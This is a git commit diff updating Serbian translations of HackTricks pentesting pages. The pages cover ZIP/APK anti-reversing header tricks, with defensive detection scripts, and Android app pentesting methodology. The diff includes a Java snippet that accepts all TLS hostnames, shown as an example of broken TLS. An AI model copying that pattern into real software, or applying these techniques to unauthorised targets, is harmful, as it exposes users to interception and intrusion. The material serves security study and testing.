mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-inclusion/lfi2rce-via-php-filte
This commit is contained in:
parent
5f1640d033
commit
950969c562
@ -1,37 +1,38 @@
|
||||
# Trikovi sa ZIP fajlovima
|
||||
# ZIP trikovi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Command-line tools** za upravljanje **zip fajlovima** su neophodni za dijagnostikovanje, popravku i probijanje zip fajlova. Evo nekoliko ključnih alata:
|
||||
**Alati komandne linije** za upravljanje **ZIP fajlovima** su neophodni za dijagnostiku, popravku i probijanje zip fajlova. Evo nekoliko ključnih utiliteta:
|
||||
|
||||
- **`unzip`**: Otkriva zašto se zip fajl možda ne može dekompresovati.
|
||||
- **`unzip`**: Otkriva zašto se zip fajl možda ne dekompresuje.
|
||||
- **`zipdetails -v`**: Pruža detaljnu analizu polja formata zip fajla.
|
||||
- **`zipinfo`**: Prikazuje sadržaj zip fajla bez ekstrakcije.
|
||||
- **`zipinfo`**: Nabraja sadržaj zip fajla bez njegovog izdvajanja.
|
||||
- **`zip -F input.zip --out output.zip`** i **`zip -FF input.zip --out output.zip`**: Pokušavaju da poprave oštećene zip fajlove.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Alat za brute-force probijanje lozinki zip fajlova, efikasan za lozinke dužine do otprilike 7 karaktera.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Alat za brute-force probijanje lozinki zip fajlova, efikasan za lozinke do otprilike 7 karaktera.
|
||||
|
||||
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) pruža sveobuhvatne detalje o strukturi i standardima zip fajlova.
|
||||
Specifikacija formata zip fajla ([Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)) pruža sveobuhvatne detalje o strukturi i standardima zip fajlova.
|
||||
|
||||
Važno je napomenuti da zip fajlovi zaštićeni lozinkom **ne šifruju nazive fajlova ili veličine fajlova** unutar arhive, što je sigurnosna mana koju nemaju RAR ili 7z fajlovi koji šifruju te informacije. Pored toga, zip fajlovi šifrovani starijom metodom ZipCrypto su podložni **plaintext attack** ako postoji nekriptovana kopija kompresovanog fajla. Ovaj napad koristi poznati sadržaj da bi otkrio lozinku zip arhive, ranjivost opisana u [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) i dalje objašnjena u [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Međutim, zip fajlovi zaštićeni sa **AES-256** enkripcijom su imuni na ovaj plaintext attack, što naglašava važnost izbora sigurnih metoda enkripcije za osetljive podatke.
|
||||
Važno je napomenuti da zip fajlovi zaštićeni lozinkom **ne šifruju imena fajlova niti veličine fajlova** unutra, bezbednosni propust koji nije prisutan kod RAR ili 7z fajlova koji šifruju ove informacije. Nadalje, zip fajlovi šifrovani starijom metodom ZipCrypto su ranjivi na **plaintext attack** ako je dostupna nešifrovana kopija kompresovanog fajla. Ovaj napad koristi poznati sadržaj da bi probio lozinku zip fajla, ranjivost opisanu u [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) i dalje objašnjenu u [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Međutim, zip fajlovi zaštićeni **AES-256** enkripcijom su imuni na ovaj plaintext attack, što pokazuje značaj izbora sigurnih metoda enkripcije za osetljive podatke.
|
||||
|
||||
---
|
||||
|
||||
## Trikovi za anti-reversing u APK-ovima korišćenjem manipulisanih ZIP zaglavlja
|
||||
## Anti-reversing trikovi u APK-ovima korišćenjem manipulisanih ZIP zaglavlja
|
||||
|
||||
Moderni Android malware droperi koriste malformirane ZIP meta-podatke da bi slomili statičke alate (jadx/apktool/unzip) dok APK ostaje instalabilan na uređaju. Najčešći trikovi su:
|
||||
Moderni Android malware droppersi koriste malformirana ZIP metapodatka da pokvare statičke alate (jadx/apktool/unzip), a da APK ostane instalabilan na uređaju. Najčešći trikovi su:
|
||||
|
||||
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
|
||||
- Zloupotreba velikih/prilagođenih Extra polja da zbuni parsere
|
||||
- Kolizije imena fajlova/direktorijuma za skrivanje pravih artefakata (npr. direktorijum nazvan `classes.dex/` pored pravog `classes.dex`)
|
||||
- Lažno šifrovanje postavljanjem ZIP General Purpose Bit Flag (GPBF) bita 0
|
||||
- Zloupotreba velikih/prilagođenih Extra polja da bi se zbunili parseri
|
||||
- Sukobi imena fajlova/direktorijuma za sakrivanje stvarnih artefakata (npr. direktorijum nazvan `classes.dex/` pored stvarnog `classes.dex`)
|
||||
|
||||
### 1) Fake encryption (GPBF bit 0 set) without real crypto
|
||||
|
||||
Simptomi:
|
||||
- `jadx-gui` javlja greške kao:
|
||||
- `jadx-gui` izbacuje greške poput:
|
||||
|
||||
```
|
||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
||||
```
|
||||
- `unzip` traži lozinku za osnovne APK fajlove iako validan APK ne može imati kriptovane `classes*.dex`, `resources.arsc`, ili `AndroidManifest.xml`:
|
||||
- `unzip` traži lozinku za ključne APK fajlove iako validan APK ne može imati šifrovane `classes*.dex`, `resources.arsc`, ili `AndroidManifest.xml`:
|
||||
|
||||
```bash
|
||||
unzip sample.apk
|
||||
@ -46,7 +47,7 @@ Detekcija pomoću zipdetails:
|
||||
```bash
|
||||
zipdetails -v sample.apk | less
|
||||
```
|
||||
Pogledajte General Purpose Bit Flag za lokalna i centralna zaglavlja. Upadljiva vrednost je postavljen bit 0 (Encryption) čak i za osnovne unose:
|
||||
Pogledajte General Purpose Bit Flag za local i central headers. Upadljiva vrednost je bit 0 postavljen (Encryption) čak i za core entries:
|
||||
```
|
||||
Extract Zip Spec 2D '4.5'
|
||||
General Purpose Flag 0A09
|
||||
@ -55,9 +56,9 @@ General Purpose Flag 0A09
|
||||
[Bit 3] 1 'Streamed'
|
||||
[Bit 11] 1 'Language Encoding'
|
||||
```
|
||||
Heuristika: Ako se APK instalira i pokreće na uređaju, ali core entries izgledaju "encrypted" alatima, GPBF je izmenjen.
|
||||
Heuristika: Ako se APK instalira i pokreće na uređaju, ali alati prikazuju osnovne unose kao "encrypted", GPBF je bio izmenjen.
|
||||
|
||||
Rešenje: Očistite bit 0 GPBF-a u oba Local File Headers (LFH) i Central Directory (CD) unosa. Minimal byte-patcher:
|
||||
Ispravi brisanjem bita 0 u GPBF-u za Local File Headers (LFH) i Central Directory (CD) unose. Minimalni byte-patcher:
|
||||
```python
|
||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
||||
import struct, sys
|
||||
@ -93,11 +94,11 @@ Upotreba:
|
||||
python3 gpbf_clear.py obfuscated.apk normalized.apk
|
||||
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
||||
```
|
||||
Sada biste trebali videti `General Purpose Flag 0000` na osnovnim unosima i alati će ponovo parsirati APK.
|
||||
Sada bi trebalo da vidite `General Purpose Flag 0000` na osnovnim stavkama i alati će ponovo parsirati APK.
|
||||
|
||||
### 2) Velika/prilagođena Extra polja koja ruše parsere
|
||||
### 2) Velika/prilagođena Extra polja koja lome parsere
|
||||
|
||||
Napadači ubacuju prevelika Extra polja i neobične ID-e u zaglavlja kako bi pokvarili dekompajlere. U stvarnom svetu možete videti prilagođene markere (npr. stringove poput `JADXBLOCK`) ubačene tamo.
|
||||
Napadači ubacuju prevelika Extra polja i neobične ID-ove u zaglavlja da bi zbunili dekompajlere. U prirodi možete videti prilagođene markere (npr. stringove poput `JADXBLOCK`) ugrađene tamo.
|
||||
|
||||
Inspekcija:
|
||||
```bash
|
||||
@ -106,20 +107,20 @@ zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
||||
Primećeni primeri: nepoznati ID-ovi kao `0xCAFE` ("Java Executable") ili `0x414A` ("JA:") koji nose velike payloads.
|
||||
|
||||
DFIR heuristike:
|
||||
- Upozori kada su Extra fields neuobičajeno veliki na core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Smatraj nepoznate Extra ID-ove na tim entry-ima sumnjivim.
|
||||
- Upozori kada su Extra fields neuobičajeno veliki na ključnim unosima (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Smatraj nepoznate Extra ID-ove na tim unosima sumnjivim.
|
||||
|
||||
Praktična mitigacija: ponovna izgradnja arhive (npr. ponovnim zipovanjem izvađenih fajlova) uklanja maliciozne Extra fields. Ako alati odbijaju ekstrakciju zbog lažne enkripcije, prvo očisti GPBF bit 0 kao gore, zatim ponovo upakuj:
|
||||
Praktična mitigacija: ponovo pravljenje arhive (npr. re-zipping izvađenih fajlova) uklanja maliciozne Extra fields. Ako alati odbijaju da izvuku zbog lažne enkripcije, prvo očisti GPBF bit 0 kao gore, zatim ponovo zapakuj:
|
||||
```bash
|
||||
mkdir /tmp/apk
|
||||
unzip -qq normalized.apk -d /tmp/apk
|
||||
(cd /tmp/apk && zip -qr ../clean.apk .)
|
||||
```
|
||||
### 3) Sukobi imena fajlova/direktorijuma (skrivanje pravih artefakata)
|
||||
### 3) Sukob imena fajla/direktorijuma (sakrivanje stvarnih artefakata)
|
||||
|
||||
ZIP arhiva može da sadrži i fajl `X` i direktorijum `X/`. Neki ekstraktori i dekompajleri se zbune i mogu prekriti ili sakriti pravi fajl unosom direktorijuma. Ovo je primećeno kod unosa koji se sudaraju sa osnovnim APK imenima kao što je `classes.dex`.
|
||||
ZIP može da sadrži i fajl `X` i direktorijum `X/`. Neki ekstraktori i dekompajleri se zbune i mogu da preklapaju ili sakriju stvarni fajl unosom direktorijuma. Ovo je primećeno kod unosa koji se sudaraju sa ključnim imenima u APK-u poput `classes.dex`.
|
||||
|
||||
Trijaža i bezbedna ekstrakcija:
|
||||
Triage i bezbedna ekstrakcija:
|
||||
```bash
|
||||
# List potential collisions (names that differ only by trailing slash)
|
||||
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
|
||||
@ -130,7 +131,7 @@ unzip normalized.apk -d outdir
|
||||
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
||||
# new name: unk_classes.dex
|
||||
```
|
||||
Programatska detekcija post-fix:
|
||||
Programatsko otkrivanje (post-fix):
|
||||
```python
|
||||
from zipfile import ZipFile
|
||||
from collections import defaultdict
|
||||
@ -147,10 +148,10 @@ for base, variants in collisions.items():
|
||||
if len(variants) > 1:
|
||||
print('COLLISION', base, '->', variants)
|
||||
```
|
||||
Blue-team ideje za detekciju:
|
||||
- Označiti APK-ove čija lokalna zaglavlja označavaju enkripciju (GPBF bit 0 = 1) ali se ipak instaliraju/pokreću.
|
||||
- Označiti velika/nepoznata Extra polja na core entries (tražiti markere poput `JADXBLOCK`).
|
||||
- Označiti path-collisions (`X` i `X/`) posebno za `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
Ideje za detekciju za Blue-team:
|
||||
- Obeleži APK-ove čija lokalna zaglavlja označavaju enkripciju (GPBF bit 0 = 1) ali se ipak instaliraju/izvršavaju.
|
||||
- Obeleži velika/nepoznata Extra polja na core stavkama (potražite markere poput `JADXBLOCK`).
|
||||
- Obeleži kolizije putanja (`X` i `X/`) posebno za `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
|
||||
---
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,10 +1,10 @@
|
||||
# Android Applications Pentesting
|
||||
# Pentesting Android aplikacija
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnove Android aplikacija
|
||||
|
||||
Preporučuje se da najpre pročitate ovu stranicu kako biste saznali o **najvažnijim delovima vezanim za bezbednost Androida i najopasnijim komponentama u Android aplikaciji**:
|
||||
Preporučuje se da prvo pročitate ovu stranicu kako biste saznali o **najvažnijim delovima vezanim za Android bezbednost i najopasnijim komponentama u Android aplikaciji**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,15 +13,15 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Ovo je glavni alat koji vam treba za povezivanje sa Android uređajem (emuliranim ili fizičkim).\
|
||||
**ADB** omogućava kontrolu uređaja ili preko **USB** ili preko **mreže** sa računara. Ovaj alat omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, između ostalih funkcija.
|
||||
Ovo je glavni alat koji vam treba da se povežete na Android uređaj (emulirani ili fizički).\
|
||||
**ADB** omogućava kontrolu uređaja preko **USB** ili **Network** sa računara. Ovaj alat omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvođenje** shell komandi, **pravljenje backup-a** podataka, **čitanje** logova, između ostalih funkcija.
|
||||
|
||||
Pogledajte sledeću listu [**ADB Commands**](adb-commands.md) da naučite kako da koristite adb.
|
||||
Pogledajte sledeću listu [**ADB komande**](adb-commands.md) da naučite kako da koristite adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Ponekad je korisno **izmeniti kod aplikacije** da biste pristupili **skrivenim informacijama** (npr. dobro obfuskovanim lozinkama ili flagovima). U tom slučaju može biti korisno dekompajlirati apk, izmeniti kod i ponovo ga kompajlirati.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Dakle, **uvek imajte ovu mogućnost na umu**.
|
||||
Ponekad je zanimljivo **izmeniti kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovane lozinke ili flagovi). U tom slučaju može biti korisno dekompilovati APK, izmeniti kod i ponovo ga kompajlirati.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilovati APK, izmeniti Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti vrlo korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koja će biti predstavljena. Dakle, **uvek imajte na umu ovu mogućnost**.
|
||||
|
||||
## Ostali zanimljivi trikovi
|
||||
|
||||
@ -30,7 +30,7 @@ Ponekad je korisno **izmeniti kod aplikacije** da biste pristupili **skrivenim i
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Izvlačenje APK-a sa uređaja:
|
||||
- Ekstraktovanje APK-a sa uređaja:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -63,36 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## Statička analiza
|
||||
|
||||
Pre svega, pri analizi APK-a treba **pogledati Java kod** koristeći decompiler.\
|
||||
Molimo, [**pročitajte ovde da biste našli informacije o različitim dostupnim decompilerima**](apk-decompilers.md).
|
||||
Prvo, za analizu APK-a trebalo bi da **pogledate Java kod** koristeći dekompajler.\
|
||||
Molimo, [**pročitajte ovde za informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md).
|
||||
|
||||
### Traženje korisnih informacija
|
||||
### Traženje zanimljivih informacija
|
||||
|
||||
Samo pregledom **strings** iz APK-a možete pronaći **lozinke**, **URL-ove** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** ključeve, **enkripciju**, **bluetooth uuids**, **tokene** i sve što je interesantno... tražite čak i code execution **backdoors** ili authentication backdoors (hardkodovani admin kredencijali u aplikaciji).
|
||||
Samo pregledanjem **strings** iz APK-a možete tražiti **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** i sve što je interesantno... tražite čak i code execution **backdoors** ili authentication backdoors (hardcoded admin credentials u aplikaciji).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Obratite posebnu pažnju na **Firebase URL-ove** i proverite da li je loše konfigurisan. [Više informacija o tome šta je Firebase i kako ga eksploatisati ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Obratite posebnu pažnju na **firebase URLs** i proverite da li je loše konfigurisan. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Osnovno razumevanje aplikacije - Manifest.xml, strings.xml
|
||||
|
||||
Pregled fajlova aplikacije _Manifest.xml_ i _strings.xml_ može otkriti potencijalne bezbednosne ranjivosti. Ovi fajlovi se mogu dobiti pomoću decompilera ili preimenovanjem APK fajla u .zip i zatim raspakivanjem.
|
||||
Ispitivanje aplikacionih _Manifest.xml_ i **_strings.xml_** fajlova može otkriti potencijalne bezbednosne ranjivosti. Ovi fajlovi se mogu pristupiti pomoću dekompajlera ili preimenovanjem APK fajla u .zip i njegovim raspakivanjem.
|
||||
|
||||
Ranjivosti identifikovane u **Manifest.xml** uključuju:
|
||||
Ranjivosti identifikovane iz **Manifest.xml** uključuju:
|
||||
|
||||
- **Debuggable Applications**: Aplikacije označene kao debuggable (`debuggable="true"`) u _Manifest.xml_ predstavljaju rizik jer dozvoljavaju konekcije koje mogu dovesti do eksploatacije. Za detaljnije razumevanje kako iskoristiti debuggable aplikacije pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
|
||||
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje rade sa osetljivim informacijama kako bi se sprečilo neovlašćeno pravljenje backup-a putem adb, naročito kada je usb debugging omogućen.
|
||||
- **Network Security**: Prilagođene network security konfiguracije (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu definisati detalje bezbednosti poput certificate pinova i podešavanja HTTP saobraćaja. Primer je dozvoljavanje HTTP saobraćaja za određene domene.
|
||||
- **Exported Activities and Services**: Identifikacija exported activities i servisa u manifestu može ukazati na komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti te komponente.
|
||||
- **Content Providers and FileProviders**: Izloženi content provider-i mogu dozvoliti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProvider-a takođe treba biti pažljivo proverena.
|
||||
- **Broadcast Receivers and URL Schemes**: Ove komponente mogu biti iskorišćene za eksploataciju, s posebnim osvrtom na to kako se URL schemes upravljaju u kontekstu input ranjivosti.
|
||||
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion`, i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost da se iz bezbednosnih razloga ne podržavaju zastarele, ranjive Android verzije.
|
||||
- **Debuggable Applications**: Aplikacije označene kao debuggable (`debuggable="true"`) u _Manifest.xml_ predstavljaju rizik jer omogućavaju konekcije koje mogu dovesti do eksploatacije. Za dodatno razumevanje kako eksploatisati debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploatisanju debuggable aplikacija na uređaju.
|
||||
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno podesiti za aplikacije koje rade sa osetljivim informacijama kako bi se sprečili neovlašćeni backupi podataka putem adb-a, posebno kada je USB debugging omogućen.
|
||||
- **Network Security**: Custom network security konfiguracije (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati detalje bezbednosti kao što su certificate pins i podešavanja za HTTP saobraćaj. Primer je dozvoljavanje HTTP saobraćaja za specifične domene.
|
||||
- **Exported Activities and Services**: Identifikovanje exported activities i services u manifestu može otkriti komponente koje se mogu zloupotrebiti. Dalja analiza tokom dinamičkog testiranja može pokazati kako te komponente eksploatisati.
|
||||
- **Content Providers and FileProviders**: Izloženi content providers mogu omogućiti neovlašćen pristup ili izmenu podataka. Konfiguracija FileProviders takođe zahteva detaljnu proveru.
|
||||
- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnom pažnjom na način na koji su URL schemes upravljane zbog mogućih input ranjivosti.
|
||||
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion`, i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost nepodrške zastarelih, ranjivih Android verzija iz bezbednosnih razloga.
|
||||
|
||||
Iz fajla **strings.xml** mogu se otkriti osetljive informacije kao što su API ključevi, custom schemas i druge developerske beleške, što naglašava potrebu za pažljivim pregledom ovih resursa.
|
||||
Iz **strings.xml** fajla mogu se otkriti osetljive informacije kao što su API keys, custom schemas i drugi developer notes, što ističe potrebu za pažljivim pregledom ovih resursa.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** je napad gde se pokreće maliciozna aplikacija koja se postavi iznad aplikacije žrtve. Kada vizuelno zaseni žrtvinu aplikaciju, njen korisnički interfejs je dizajniran tako da prevari korisnika da interaguje sa njim, dok zapravo prosleđuje interakciju žrtvinoj aplikaciji. U suštini, to zaslepljuje korisnika tako da ne zna da zapravo izvršava akcije na aplikaciji žrtve.
|
||||
**Tapjacking** je napad gde se pokrene maliciozna aplikacija i postavi iznad ciljane aplikacije. Kada vizuelno zakloni ciljnu aplikaciju, njen korisnički interfejs je dizajniran tako da prevari korisnika da interaguje sa njim, dok se ta interakcija prosleđuje ciljnoj aplikaciji.\
|
||||
U suštini, to zaslepljuje korisnika pa ne zna da zapravo izvodi radnje u ciljnoj aplikaciji.
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -103,7 +104,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Activity sa `launchMode` postavljenim na `singleTask` bez definisanog `taskAffinity` je ranjiva na Task Hijacking. To znači da aplikacija može biti instalirana i, ako se pokrene pre prave aplikacije, može preuzeti task prave aplikacije (tako da će korisnik interagovati sa malicioznom aplikacijom misleći da koristi pravu).
|
||||
Aktivnost sa `launchMode` postavljenim na `singleTask` bez definisanog `taskAffinity` je ranjiva na Task Hijacking. To znači da se može instalirati aplikacija koja, ako se pokrene pre prave aplikacije, može preuzeti task prave aplikacije (tako da će korisnik interagovati sa malicioznom aplikacijom misleći da koristi pravu).
|
||||
|
||||
More info in:
|
||||
|
||||
@ -112,69 +113,69 @@ More info in:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Nesigurno čuvanje podataka
|
||||
### Nezaštićeno čuvanje podataka
|
||||
|
||||
**Interna memorija**
|
||||
Internal Storage
|
||||
|
||||
Na Androidu, fajlovi smešteni u internu memoriju su dizajnirani da budu dostupni isključivo aplikaciji koja ih je kreirala. Ova bezbednosna mera sprovodi se od strane Android operativnog sistema i uglavnom je dovoljna za potrebe bezbednosti većine aplikacija. Međutim, developeri ponekad koriste mode-ove kao `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi dozvolili deljenje fajlova među različitim aplikacijama. Ipak, ovi modovi ne ograničavaju pristup tim fajlovima od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
U Androidu, fajlovi koji se čuvaju u internal storage su dizajnirani da budu dostupni isključivo aplikaciji koja ih je kreirala. Ova bezbednosna mera je sprovođena od strane Android operativnog sistema i generalno je dovoljna za bezbednosne potrebe većine aplikacija. Međutim, developeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi omogućili deljenje fajlova između različitih aplikacija. Ipak, ovi režimi ne ograničavaju pristup tim fajlovima drugim aplikacijama, uključujući potencijalno maliciozne.
|
||||
|
||||
1. **Statička analiza:**
|
||||
- Proverite upotrebu `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` pažljivo. Ovi modovi mogu potencijalno izložiti fajlove neželjenom ili neovlašćenom pristupu.
|
||||
2. **Dinamička analiza:**
|
||||
- Verifikujte permisije postavljene na fajlovima koje aplikacija kreira. Konkretno, proverite da li su neki fajlovi podešeni da budu readable ili writable worldwide. Ovo može predstavljati značajan bezbednosni rizik, jer bi omogućilo bilo kojoj aplikaciji instaliranoj na uređaju, bez obzira na poreklo ili nameru, da čita ili menja te fajlove.
|
||||
1. **Static Analysis:**
|
||||
- **Ensure** da se upotreba `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` pažljivo proveri. Ovi režimi **mogu potencijalno izložiti** fajlove neželjenom ili neautorizovanom pristupu.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verify** permisije postavljene na fajlovima koje aplikacija kreira. Konkretno, **proverite** da li su neki fajlovi **postavljeni kao readable ili writable worldwide**. Ovo može predstavljati značajan bezbednosni rizik, jer bi omogućilo **bilo kojoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čita ili menja** te fajlove.
|
||||
|
||||
**Eksterna memorija**
|
||||
External Storage
|
||||
|
||||
Kada se radi o fajlovima na eksternoj memoriji, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
Kada se radi sa fajlovima na external storage, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
|
||||
1. **Pristupačnost**:
|
||||
- Fajlovi na eksternoj memoriji su globalno čitljivi i zapisivi. To znači da bilo koja aplikacija ili korisnik može pristupiti tim fajlovima.
|
||||
2. **Bezbednosni problemi**:
|
||||
- S obzirom na lakoću pristupa, savetuje se da se osetljive informacije ne čuvaju na eksternoj memoriji.
|
||||
- Eksterna memorija može biti uklonjena ili joj može pristupiti bilo koja aplikacija, čime postaje manje sigurna.
|
||||
3. **Rukovanje podacima sa eksterne memorije**:
|
||||
- Uvek vršite validaciju inputa nad podacima preuzetim sa eksterne memorije. Ovo je ključno jer su ti podaci iz nepouzdanog izvora.
|
||||
- Ne preporučuje se skladištenje izvršnih fajlova ili class fajlova na eksternoj memoriji radi dinamičkog učitavanja.
|
||||
- Ako vaša aplikacija mora da učitava izvršne fajlove sa eksterne memorije, osigurajte da su ti fajlovi potpisani i kriptografski verifikovani pre nego što budu dinamički učitani. Ovaj korak je vitalan za održavanje bezbednosnog integriteta aplikacije.
|
||||
1. **Accessibility**:
|
||||
- Fajlovi na external storage su **globalno readable i writable**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim fajlovima.
|
||||
2. **Security Concerns**:
|
||||
- S obzirom na laku dostupnost, savetuje se **ne čuvati osetljive informacije** na external storage.
|
||||
- External storage može biti uklonjen ili pristupljen od strane bilo koje aplikacije, što ga čini manje sigurnim.
|
||||
3. **Handling Data from External Storage**:
|
||||
- Uvek **izvršite validaciju inputa** na podacima dobijenim iz external storage. Ovo je ključno jer podaci dolaze iz nepouzdanog izvora.
|
||||
- Snažno se ne preporučuje čuvanje izvršnih fajlova ili class fajlova na external storage radi dinamičkog učitavanja.
|
||||
- Ako aplikacija mora da učitava izvršne fajlove iz external storage, osigurajte da su ti fajlovi **potpisani i kriptografski verifikovani** pre dinamičkog učitavanja. Ovaj korak je vitalan za očuvanje bezbednosnog integriteta aplikacije.
|
||||
|
||||
Eksternu memoriju je moguće pristupiti u `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
External storage može se pristupiti u /storage/emulated/0 , /sdcard , /mnt/sdcard
|
||||
|
||||
> [!TIP]
|
||||
> Počev od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja ograničava pristup aplikacije samo na direktorijum koji je specifično za tu aplikaciju. Ovo sprečava maliciozne aplikacije da dobiju pristup za čitanje ili pisanje fajlovima druge aplikacije.
|
||||
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikacije na direktorijum koji je specifičan za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije read ili write pristup fajlovima druge aplikacije.
|
||||
|
||||
**Osetljivi podaci sačuvani u običnom tekstu**
|
||||
**Osetljivi podaci čuvani u plain-textu**
|
||||
|
||||
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml fajlove u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće naći osetljive informacije u običnom tekstu u tom folderu.
|
||||
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka u putanji `/data/data/<packagename>/databases/` i ponekad je moguće naći osetljive informacije u običnom tekstu u tom folderu.
|
||||
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml fajlove u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće naći osetljive informacije u clear-textu u tom folderu.
|
||||
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka u putanji `/data/data/<packagename>/databases/` i ponekad je moguće naći osetljive informacije u clear-textu u tom folderu.
|
||||
|
||||
### Neispravan TLS
|
||||
### Broken TLS
|
||||
|
||||
**Accept All Certificates**
|
||||
|
||||
Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i ako, na primer, hostname ne odgovara, sa linijama koda kao što su sledeće:
|
||||
Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i kada, na primer, hostname ne odgovara, sa linijama koda kao u sledećem primeru:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
